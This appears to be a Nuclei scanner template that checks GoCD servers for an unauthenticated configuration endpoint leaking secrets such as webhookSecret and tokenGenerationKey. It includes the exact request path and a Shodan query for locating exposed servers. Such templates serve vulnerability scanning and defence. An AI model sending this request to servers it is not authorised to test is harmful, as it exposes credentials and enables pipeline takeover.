id: gocd-cruise-configuration

info:
  name: GoCd Cruise Configuration disclosure
  author: dhiyaneshDk
  severity: high
  description: GoCd Cruise Configuration is exposed.
  reference:
    - https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
    - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
    - https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
  classification:
    cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thoughtworks
    product: gocd
    shodan-query: http.title:"Create a pipeline - Go" html:"GoCD Version"
  tags: go,gocd,config,exposure,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/go/add-on/business-continuity/api/cruise_config"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "server agentAutoRegisterKey"
          - "webhookSecret"
          - "tokenGenerationKey"
        condition: and
# digest: 4b0a004830460221009ae3e7788e4c43c0caf3de36f1c164e15cb11cc1f0242f0e76315332b415249d0221008e40d3b767b562bed1a6209e99f25da720ba3bf3a7fae3c4655c56503ec59f37:922c64590222798bb761d5b6d8e72950